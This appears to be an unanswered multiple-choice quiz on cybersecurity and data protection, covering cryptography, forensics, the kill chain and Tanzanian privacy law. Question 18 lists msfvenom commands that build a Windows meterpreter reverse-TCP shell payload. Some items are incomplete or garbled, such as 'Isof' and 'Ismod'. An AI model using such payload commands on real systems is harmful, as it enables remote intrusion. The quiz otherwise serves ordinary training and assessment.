SECURITY QUESTIONS AND ANSWERS

 

Question 2: when should an SHA-256 hash check be performed when processing evidence?

 

Question 3: Which one of the following individuals is normally responsible for fulfilling the operational data protection responsibilities delegated by senior management, such as validating data integrity, testing backups, and managing security policies?

 

A)  Data custodian

B)  Data owner

C)  User

D) Auditor

 

Question 4: What is the MOST common security risk of a mobile device?

 

A)  Insecure communications link

B)  Data leakage

C)  Malware infection

D)  Data spoofing

 

 

Question 5: What technology could Amanda's employer implement to help prevent confidential data from being emailed out of the organization?

 

A)  DLP

B) A firewall

C)  UDP

 

 

Question 6: What is the purpose of a security information and event management (SIEM) system?

 

A)  To enforce security policies and control access to a network or system

B)  To monitor network traffic for signs of compromise and alert security personnel to potential threats

C)  To identify vulnerabilities in a network or system by scanning for known security weaknesses

D)  To detect and block malicious traffic

 

 

Question 7: What three types of interfaces are typically tested during software testing?

 

A)  Application, programmatic, and user interfaces

B) APIs, UIs, and physical interfaces

C)  Network interfaces, APIs, and UIs

D)  Network, physical, and application interfaces

 

 

Question 10: What is the purpose of the data protection audit under the Tanzanian Data Protection Act?

 

A)  All options are correct

B)  To obtain certification from the Personal Data Protection Commission

C)  To identify areas for improvement in the policies

D)  To assess the organization’s compliance with data protection regulations

Question 11: Which system does SSL use to function?

 

A)  DES

B)  JOES

C)  PKI

D)  AES

 

 

Question 12: What is the advantage of RSA over DSA?

 

A)  It can provide digital signature and encryption functionality

B)  It uses fewer resources and encrypts faster because it uses symmetric keys

C)  It is a block cipher rather than a stream cipher

D)  It employs a one-time encryption pad

 

 

Question 13: What malware analysis operation can the investigator perform using the jv16 tool?

 

A)  Files and Folder Monitor

B)  Network Traffic Monitoring/Analysis

C)  Registry Analysis/Monitoring

 

 

Question 14: What is the first step in conducting a Data Protection Impact Assessment (DPIA)?

 

A)  Identifying the data processors

B)  Documenting the processing activity

C)  Mapping data flows

D)  Identifying potential risks to data subjects

 

 

Question 15: Which regulation requires companies to appoint a Data Protection Officer (DPO) if they process large amounts of personal data?

 

A)  Cyber Crime Act, 2015

B)  National Payment Systems (NPS) Act, 2016

C)  EPOCA

D)  The Personal Data Protection Act, 2022

 

 

Question 16: What is the primary purpose of a security incident response plan?

 

A)  To encrypt sensitive data during transmission

B)  To detect and remove malware from a system

C)  To block malicious websites

D)  To outline procedures for responding to and managing cybersecurity incidents

Question 17: What is data minimization?

 

A)  Using minimal resources to process data

B)  Limiting the data collected to what is necessary for the purpose

C)  Storing data in the smallest format possible

D)  Deleting unnecessary data after one year

 

 

Question 18: What is the correct way of using MSFvenom to generate a reverse TCP shellcode for Windows?

 

A)  msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe>shell.exe

B)  msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f Shell.exe

C)  msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPort=4444 -f c

D)  msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c

 

 

Question 19: What type of vulnerability scan accesses configuration information from the systems it is run against as well as information that can be accessed via services available via the network?

 

A)  Web application scans

B)  Port scans

C)  Authenticated scans

D)  Unauthenticated scans

 

 

Question 20: Which among the following is the best example of the third step (delivery) in the cyber kill chain?

 

A)  An intruder creates malware to be used as a malicious attachment to an email

B)  An intruder sends a malicious attachment via email to a target

C) An intruder’s malware is installed on a target’s machine

D)  An intruder’s malware is triggered when a target opens a malicious email attachment

 

 

Question 21: What does "privacy by design" mean?

 

A)  Developing systems without considering data protection

B)  Ignoring privacy considerations in system development

C)  Integrating privacy features into systems from the beginning

D)  Adding privacy features after system development

 

 

 

 

 

 

Question 22: What type of attack is the creation and exchange of state tokens intended to prevent?

 

A)  CSRF

B)  SQL injection

C)  XACML

D)  XSS

Question 23: What does the term "zero-day vulnerability" mean in cybersecurity?

 

A)  A vulnerability that has no impact on cybersecurity

B) A vulnerability that affects zero systems

C) A vulnerability that remains unpatched by the software vendor

D)  A vulnerability that has never been discovered before

 

 

Question 24: What is the main focus of data protection impact assessments (DPIAs)?

 

A)  To assess the risks of personal data and privacy

B)  To determine the marketing potential of personal data

C)  To review the technical specifications of data systems

D)  To evaluate the financial impact of data protection laws

 

 

Question 25: Which one of the following is not a valid key length for the Advanced Encryption Standard?

 

A)  256 bits

B)  384 bits

C)  128 bits

D)  192 bits

 

 

Question 26: What is the purpose of data anonymization?

 

A)  To ensure data accuracy

B)  To remove identifying information to protect privacy

C)  To make data processing faster

D)  To enable data sharing with third parties

 

 

Question 27: What is the correct order of execution for security architecture?

 

A)  Strategy and program management, project delivery, governance, operations

B)  Governance, strategy and program management, operations, project delivery

C)  Strategy and program management, governance, project delivery, operations

D)  Governance, strategy and program management, project delivery, operations

 

 

Question 28: Why would you need to find out the gateway of a device when investigating a wireless attack?

 

A)  The gateway will be the IP of the attacker computer

B)  The gateway will be the IP of the proxy server used by the attacker to launch the attack

C)  The gateway will be the IP used to manage the RADIUS server

D)  The gateway will be the IP used to manage the access point

Question 29: Which command can provide the forensic investigators with details of all the loaded modules on a Linux-based system?

 

A)  Isof -m

B)  Ismod

C)  plist mod -a

D)  list modules -a

 

 

Question 30: What is the term used to describe a cybersecurity attack that occurs simultaneously from multiple sources?

 

A)  Coordinated attack

B)  Spear phishing

C)  Zero-day attack

D)  Brute-force attack

 

 

Question 31: What type of attack occurs when an attacker can force a router to stop forwarding packets by flooding the router with many open connections simultaneously so that all the hosts behind the router are effectively disabled?

 

A)  ARP redirect

B)  Physical attack

C)  Denial of service

D)  Digital attack

 

 

Question 32: What is the purpose of a Data Protection Policy?

 

A)  To increase data storage capacity

B)  To improve marketing strategies

C)  To ensure compliance with financial regulations

D)  To outline how an organization will manage and protect personal data

 

 

 

Question 33: What does the right to data portability entail?

 

A)  The right to access personal data

B)  The right to transfer personal data to another organization

C)  The right to update personal data

D)  The right to delete personal data

 

 

 

 

Question 34: What is the principle of accountability in data protection?

 

A)  Ensuring data is encrypted

B)  Demonstrating compliance with data protection laws

C)  Keeping personal data for as long as necessary

D)  Minimizing the data collected

Question 35: When using Windows acquisitions tools to acquire digital evidence, it is important to use a well- tested hardware write-blocking device to           

 

A)  Prevent contamination to the evidence drive

B) Acquire data from the host-protected area on a disk

C) Automate collection from image files

D)  Avoid copying data from the boot partition

 

 

Question 36: What utility could be used to avoid sniffing of traffic?

 

A)  Proxyfy

B)  Shark

C)  SandroProxy

D)  Psiphon

 

 

Question 37: What is the consequence of non-compliance with data protection regulations?

 

A)  Financial penalties and legal action

B)  No consequences

C)  Increased customer trust

D)  Improved data security

 

 

Question 38: What feature enables code to be executed without the usual security checks?

 

A)  Race conditions

B)  Process multiplexing

C)  Temporal isolation

D)  Maintenance hook

 

 

Question 39: What type of security issue arises when an attacker can deduce a more sensitive piece of information by analysing several pieces of information classified at a lower level?

 

A)  Inference

B)  Parameterization

C)  SQL injection

D)  Multilevel security

 

 

Question 40: What is the "right to be forgotten"?

 

A)  The right to access personal data

B)  The right to have personal data erased

C)  The right to object to data processing

Question 41: What is the purpose of a security token in authentication?

 

A)  To encrypt sensitive data during transmission

B)  To verify the identity of a user

C)  To detect and remove malware from a system

D)  To block spam emails

 

 

Question 42: What does "data retention policy" refer to?

 

A)  The method of storing data securely

B)  The process of archiving data

C)  The length of time personal data is kept by an organization

D)  The frequency of data backups

 

 

Question 43: Which term describes the unauthorized access and retrieval of data?

 

A)  Data retention

B)  Data processing

C)  Data breach

D)  Data encryption

 

 

Question 44: What is meant by "data breach"?

 

A)  A software update

B) A loss or theft of physical data

C)  An unauthorized access or disclosure of personal data

D)  breakdown failure

 

Question 45: Which principle requires that personal data be collected for specified, explicit, and legitimate purposes?

 

A)  Data minimization

B)  Purpose limitation

C)  Storage limitation

D)  Accuracy

 

 

Question 46: What mode must be configured to allow an NIC to capture all traffic on the wire?

 

A)  Extended mode

B)  10/100

C)  Promiscuous mode

D)  Monitor mode

 

 

Question 47: What security control does MAC cloning attempt to bypass for wired networks?

 

A)  VLAN hopping

B)  802.1q trunking

C)  Etherkiller prevention

D)  Port security

Question 48: What does the term "pseudonymization" mean in data protection?

 

 

A)  Encrypting all data

B)  Storing data in a secure physical location

C)  Deleting old data regularly

D)  Replacing private identifiers with fake identifiers

 

 

 

Question 49: Which section of the assessment report addresses separate vulnerabilities, weaknesses, and gaps?

 

 

A)  Risk review section

B)  Key findings section

C)  Executive summary with full details

D)  Findings definition section

 

 

Question 50: What is the purpose of the data protection register maintained by the Personal Data Protection Commission in Tanzania?

 

 

A)  All options are correct

B)  To facilitate the enforcement of data protection laws

C)  To record all data processing activities in the country

D)  To register all data controllers and data processors